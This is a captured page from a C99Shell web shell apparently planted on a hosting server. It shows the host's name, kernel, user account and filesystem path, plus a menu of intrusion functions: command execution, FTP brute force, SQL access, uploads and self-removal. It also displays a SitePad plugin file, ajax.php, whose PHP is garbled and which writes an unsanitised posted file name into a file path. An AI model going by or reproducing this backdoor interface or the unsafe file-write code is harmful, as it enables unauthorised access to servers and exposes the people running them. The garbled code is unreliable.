!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/sitepad/   drwxr-xr-x
Free 293.06 GB of 429.69 GB (68.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ajax.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

// We need the ABSPATH
if (!defined('ABSPATH')) exit;

// Handle AJAX functions

// Is the nonce there ?
if(empty($_REQUEST['sitepad_nonce'])){
    return;
}

// Switch Language
add_action'wp_ajax_change_lang''change_lang' );
//add_action( 'wp_ajax_nopriv_change_lang', 'change_lang' );
function change_lang() {
    
    
// Some AJAX security
    
check_ajax_referer('sitepad_ajax''sitepad_nonce');
    
    if(!
is_super_admin()){
        die();
    }
    
    
$lang optGET('sitepad_lang');
    
update_option('WPLANG'$lang );
    
// Switch translation in case WPLANG was changed.
    
$language get_option'WPLANG' );
    if ( 
$language ) {
        
load_default_textdomain$language );
    } else {
        
unload_textdomain'default' );
    }
    
    
// Update the language preference for SitePad editor
    
die('done'); // this is required to terminate immediately as this is just an ajax call

}

// The ajax handler
add_action('wp_ajax_sitepad_save_screenshot''sitepad_save_screenshot');
function 
sitepad_save_screenshot(){

    global 
$sitepad;

    
// Some AJAX security
    
check_ajax_referer('sitepad_ajax''sitepad_nonce');
    
    
$postID optREQ('postID');
    
$post_name $_POST['post_name'];
    
$data $_POST['image'];
    
$data substr($datastrpos($data',') + 1);
    
$data base64_decode($data);
    
    
// Make sure the dir exists
    
mkdir($sitepad['screenshots_path'], 0755true);
    
    
// Save an upload
    
file_put_contents($sitepad['screenshots_path'].'/'.$post_name.'.jpg'$data);
    
    echo 
'{done:'.$postID.'}';
    die();
    
}

add_action'wp_ajax_sitepad_reset_site''sitepad_reset_site' );
function 
sitepad_reset_site(){
    
    global 
$wpdb$wp_rewrite$pagelayer;

    
// Some AJAX security
    
check_ajax_referer('sitepad_ajax''sitepad_nonce');
    
    if(!
current_user_can'manage_options' )){
        
wp_send_json(array('error' => 'You do not have permission to reset site !'));
    }

    
$reset_todo optGET('reset_todo');
    
    if(empty(
$reset_todo) || !in_array($reset_todo, array('pages''posts''all'))){
        
wp_send_json(array('error' => 'Invalid reset action'));
    }
    
    
// Reset the site
    
$ret sitepad_reset_site_fn($reset_todo);
    
    if(
$ret){
        
wp_send_json(array('done' => 1));
    }else{
        
wp_send_json(array('error' => 'An unexpected error occured'));
    }    
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.004 ]--